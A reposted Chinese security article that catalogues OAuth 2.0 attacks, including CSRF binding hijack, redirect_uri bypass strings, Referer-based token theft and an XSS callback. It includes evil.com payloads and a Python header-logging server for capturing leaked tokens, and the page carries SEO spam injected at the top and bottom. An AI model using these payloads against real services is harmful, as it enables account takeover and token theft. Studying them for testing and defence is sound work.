精品国产一级在线观看,国产成人综合久久精品亚洲,免费一级欧美大片在线观看

當前位置:安全行業動態 → 正文

OAuth 2.0攻擊面與案例總結

責任編輯:editor005 |來源:企業網D1Net  2016-08-04 15:06:52 本文摘自:黑客與極客

*本文原創作者:cdxy,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載

本文整理了OAuth 2.0的攻擊面+實際案例+輔助測試代碼。

OAuth流程

本文以兩種廣泛使用的方案為標準展開.。如對流程不了解,請先移步學習: 理解OAuth 2.0

Authorization Code

response_type = code

redirect_uri

scope

client_id

state

Implicit

response_type = token

redirect_uri

scope

client_id

state

攻擊面

CSRF導致綁定劫持

redirect_uri繞過導致授權劫持

scope越權訪問

綁定劫持

攻擊者抓取認證請求構造惡意url,并誘騙已經登錄的網用戶點擊(比如通過郵件或者QQ等方式).認證成功后用戶的帳號會同攻擊者的帳號綁定到一起。

OAuth 2.0提供了state參數用于防御CSRF.認證服務器在接收到的state參數按原樣返回給redirect_uri,客戶端收到該參數并驗證與之前生成的值是否一致.除此方法外也可使用傳統的CSRF防御方案.

案例: 人人網-百度OAuth 2.0 redirect_uir CSRF 漏洞

授權劫持

根據OAuth的認證流程,用戶授權憑證會由服務器轉發到redirect_uri對應的地址,如果攻擊者偽造redirect_uri為自己的地址,然后誘導用戶發送該請求,之后獲取的憑證就會發送給攻擊者偽造的回調地址.攻擊者使用該憑證即可登錄用戶賬號,造成授權劫持.

正常情況下,為了防止該情況出現,認證服務器會驗證自己的client_id與回調地址是否對應.常見的方法是驗證回調地址的主域,涉及到的突破方式與CSRF如出一轍:

未驗證

未驗證的情況,可以直接跳出外域.

案例: 土豆網某處認證缺陷可劫持oauth_token

驗證繞過

auth.app.com.evil.com

evil.com?auth.app.com

[email protected]案例:騰訊OAuth平臺 redirect_uri 過濾不嚴可能導致用戶信息遭竊取(二)

[email protected]案例:繞過網易oauth認證的redirect_uri限制劫持帳號token

[email protected]案例:騰訊OAuth平臺redirect_uri過濾不嚴可能導致用戶信息遭竊取(四)

evil.comauth.app.com

evil.com:auth.app.com

evil.com.auth.app.com案例:騰訊OAuth平臺redirect_uri過濾不嚴可能導致用戶信息遭竊取

evil.com:@auth.app.com案例:新浪微博OAuth平臺redirect_uri過濾不嚴可能導致用戶信息遭竊取

寬字符繞過 案例: 騰訊OAuth平臺redirect_uri過濾不嚴可能導致用戶信息遭竊取(三)

子域可控

對回調地址驗證了主域為app.com,但其子域evil.app.com可被任意用戶注冊使用.

案例: 新浪微博部分App Oauth2漏洞

跨域

利用可信域的url跳轉從referer偷取token

如果網站存在一個任意url跳轉漏洞,可利用該漏洞構造以下向量

redirect_uri=http://auth.app.com/redirect.php?url=http://evil.com

認證服務器將憑證通過GET方法發送到redirect.php,這時redirect.php執行跳轉,訪問http://evil.com,攻擊者為evil.com記錄日志,并從請求頭中的referer字段提取出該憑證,即可通過該憑證進行授權登錄.

利用跨域請求從referer偷取token

在我們不能繞過redirect_uri的判斷規則時,我們可以使利用跨域請求從referer中偷取token.

例1 redirect_uri限制為app.com,然而app.com/article/1.html中允許用戶發表文章,在文章中嵌入來自evil.com的外部圖片.這時我們可以讓redirect_uri指向該文章app.com/article/1.html,當該文章被訪問時,會自動獲取 evil.com/test.jpg,這時攻擊者即可從請求頭的referer拿到token

例2 利用XSS實現跨域

redirect_uri = http://app.com/ajax/cat.html?callback=<scriptsrc="http://evil.com?getToken.php"></script>

越權訪問

這個案例展示了scope權限控制不當帶來的安全風險,同時將授權劫持的幾個方面演繹的淋漓盡致.

案例: 從“黑掉Github”學Web安全開發

輔助驗證腳本

一個簡易服務器,會記錄來訪者的請求頭.

1. Pythonpicserver.py [可選端口號]

2. 打開瀏覽器訪問圖片或頁面地址

3. 查看日志

4. 清除日志

importBaseHTTPServer

importdatetime

importsys

importos

SERVER = '0.0.0.0'

PORT = int(sys.argv[1]) iflen(sys.argv) >1else2333

LOG_PATH = 'reqlog.txt'

classWebRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):

defdo_GET(self):

if'.png'inself.path:

printself.path

fname = '1.png'

elif'.jpg'inself.path:

fname = '1.jpg'

elif'.gif'inself.path:

fname = '1.gif'

elif'.html'inself.path:

fname = 'index.html'

elif'clear'inself.path:

os.remove(LOG_PATH)

self.send_response(200)

self.end_headers()

self.wfile.write('ok')

return

else:

self.send_response(200)

self.end_headers()

try:

self.wfile.write(open(LOG_PATH, 'r').read())

exceptIOError:

print'[*]Create logfile: '+ LOG_PATH

return

message_parts = ['
===== [%s] %s ====='% (self.path, datetime.datetime.today())]

forname, value insorted(self.headers.items()):

message_parts.append('%s: %s'% (name, value.strip()))

message = '
'.join(message_parts) + '
'

withopen(LOG_PATH, 'a') asf:

f.write(message)

self.send_response(200)

self.end_headers()

self.wfile.write(open(fname, 'rb').read())

print'[*]Starting server at %s:%d'% (SERVER, PORT)

server = BaseHTTPServer.HTTPServer((SERVER, PORT), WebRequestHandler)

server.serve_forever()

效果:

  參考

理解OAuth 2.0 –阮一峰

從“黑掉Github”學Web安全開發 –陳皓

知乎網站安全滲透測試報告 –CplusHua

利用OAuth劫持用戶身份(Kcon 2014) –藍色di雪球

烏云已公開漏洞

*本文原創作者:cdxy,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載

關鍵字:OAuth

本文摘自:黑客與極客

x OAuth 2.0攻擊面與案例總結 掃一掃
分享本文到朋友圈
當前位置:安全行業動態 → 正文

OAuth 2.0攻擊面與案例總結

責任編輯:editor005 |來源:企業網D1Net  2016-08-04 15:06:52 本文摘自:黑客與極客

*本文原創作者:cdxy,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載

本文整理了OAuth 2.0的攻擊面+實際案例+輔助測試代碼。

OAuth流程

本文以兩種廣泛使用的方案為標準展開.。如對流程不了解,請先移步學習: 理解OAuth 2.0

Authorization Code

response_type = code

redirect_uri

scope

client_id

state

Implicit

response_type = token

redirect_uri

scope

client_id

state

攻擊面

CSRF導致綁定劫持

redirect_uri繞過導致授權劫持

scope越權訪問

綁定劫持

攻擊者抓取認證請求構造惡意url,并誘騙已經登錄的網用戶點擊(比如通過郵件或者QQ等方式).認證成功后用戶的帳號會同攻擊者的帳號綁定到一起。

OAuth 2.0提供了state參數用于防御CSRF.認證服務器在接收到的state參數按原樣返回給redirect_uri,客戶端收到該參數并驗證與之前生成的值是否一致.除此方法外也可使用傳統的CSRF防御方案.

案例: 人人網-百度OAuth 2.0 redirect_uir CSRF 漏洞

授權劫持

根據OAuth的認證流程,用戶授權憑證會由服務器轉發到redirect_uri對應的地址,如果攻擊者偽造redirect_uri為自己的地址,然后誘導用戶發送該請求,之后獲取的憑證就會發送給攻擊者偽造的回調地址.攻擊者使用該憑證即可登錄用戶賬號,造成授權劫持.

正常情況下,為了防止該情況出現,認證服務器會驗證自己的client_id與回調地址是否對應.常見的方法是驗證回調地址的主域,涉及到的突破方式與CSRF如出一轍:

未驗證

未驗證的情況,可以直接跳出外域.

案例: 土豆網某處認證缺陷可劫持oauth_token

驗證繞過

auth.app.com.evil.com

evil.com?auth.app.com

[email protected]案例:騰訊OAuth平臺 redirect_uri 過濾不嚴可能導致用戶信息遭竊取(二)

[email protected]案例:繞過網易oauth認證的redirect_uri限制劫持帳號token

[email protected]案例:騰訊OAuth平臺redirect_uri過濾不嚴可能導致用戶信息遭竊取(四)

evil.comauth.app.com

evil.com:auth.app.com

evil.com.auth.app.com案例:騰訊OAuth平臺redirect_uri過濾不嚴可能導致用戶信息遭竊取

evil.com:@auth.app.com案例:新浪微博OAuth平臺redirect_uri過濾不嚴可能導致用戶信息遭竊取

寬字符繞過 案例: 騰訊OAuth平臺redirect_uri過濾不嚴可能導致用戶信息遭竊取(三)

子域可控

對回調地址驗證了主域為app.com,但其子域evil.app.com可被任意用戶注冊使用.

案例: 新浪微博部分App Oauth2漏洞

跨域

利用可信域的url跳轉從referer偷取token

如果網站存在一個任意url跳轉漏洞,可利用該漏洞構造以下向量

redirect_uri=http://auth.app.com/redirect.php?url=http://evil.com

認證服務器將憑證通過GET方法發送到redirect.php,這時redirect.php執行跳轉,訪問http://evil.com,攻擊者為evil.com記錄日志,并從請求頭中的referer字段提取出該憑證,即可通過該憑證進行授權登錄.

利用跨域請求從referer偷取token

在我們不能繞過redirect_uri的判斷規則時,我們可以使利用跨域請求從referer中偷取token.

例1 redirect_uri限制為app.com,然而app.com/article/1.html中允許用戶發表文章,在文章中嵌入來自evil.com的外部圖片.這時我們可以讓redirect_uri指向該文章app.com/article/1.html,當該文章被訪問時,會自動獲取 evil.com/test.jpg,這時攻擊者即可從請求頭的referer拿到token

例2 利用XSS實現跨域

redirect_uri = http://app.com/ajax/cat.html?callback=<scriptsrc="http://evil.com?getToken.php"></script>

越權訪問

這個案例展示了scope權限控制不當帶來的安全風險,同時將授權劫持的幾個方面演繹的淋漓盡致.

案例: 從“黑掉Github”學Web安全開發

輔助驗證腳本

一個簡易服務器,會記錄來訪者的請求頭.

1. Pythonpicserver.py [可選端口號]

2. 打開瀏覽器訪問圖片或頁面地址

3. 查看日志

4. 清除日志

importBaseHTTPServer

importdatetime

importsys

importos

SERVER = '0.0.0.0'

PORT = int(sys.argv[1]) iflen(sys.argv) >1else2333

LOG_PATH = 'reqlog.txt'

classWebRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):

defdo_GET(self):

if'.png'inself.path:

printself.path

fname = '1.png'

elif'.jpg'inself.path:

fname = '1.jpg'

elif'.gif'inself.path:

fname = '1.gif'

elif'.html'inself.path:

fname = 'index.html'

elif'clear'inself.path:

os.remove(LOG_PATH)

self.send_response(200)

self.end_headers()

self.wfile.write('ok')

return

else:

self.send_response(200)

self.end_headers()

try:

self.wfile.write(open(LOG_PATH, 'r').read())

exceptIOError:

print'[*]Create logfile: '+ LOG_PATH

return

message_parts = ['
===== [%s] %s ====='% (self.path, datetime.datetime.today())]

forname, value insorted(self.headers.items()):

message_parts.append('%s: %s'% (name, value.strip()))

message = '
'.join(message_parts) + '
'

withopen(LOG_PATH, 'a') asf:

f.write(message)

self.send_response(200)

self.end_headers()

self.wfile.write(open(fname, 'rb').read())

print'[*]Starting server at %s:%d'% (SERVER, PORT)

server = BaseHTTPServer.HTTPServer((SERVER, PORT), WebRequestHandler)

server.serve_forever()

效果:

  參考

理解OAuth 2.0 –阮一峰

從“黑掉Github”學Web安全開發 –陳皓

知乎網站安全滲透測試報告 –CplusHua

利用OAuth劫持用戶身份(Kcon 2014) –藍色di雪球

烏云已公開漏洞

*本文原創作者:cdxy,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載

關鍵字:OAuth

本文摘自:黑客與極客

電子周刊
回到頂部

關于我們聯系我們版權聲明隱私條款廣告服務友情鏈接投稿中心招賢納士

企業網版權所有 ©2010-2024 京ICP備09108050號-6 京公網安備 11010502049343號

^
  • <menuitem id="jw4sk"></menuitem>

    1. <form id="jw4sk"><tbody id="jw4sk"><dfn id="jw4sk"></dfn></tbody></form>
      主站蜘蛛池模板: 旅游| 吕梁市| 恩平市| 西青区| 顺义区| 兴城市| 蕉岭县| 成都市| 呈贡县| 秦安县| 曲阜市| 刚察县| 白山市| 明水县| 布尔津县| 荣昌县| 盐城市| 海宁市| 呼伦贝尔市| 东乌珠穆沁旗| 怀来县| 临澧县| 育儿| 三门县| 六安市| 新竹县| 延吉市| 陇南市| 土默特右旗| 和田市| 阿克苏市| 峡江县| 义乌市| 黑山县| 鄂托克旗| 桃园县| 万安县| 山东| 平潭县| 县级市| 西城区|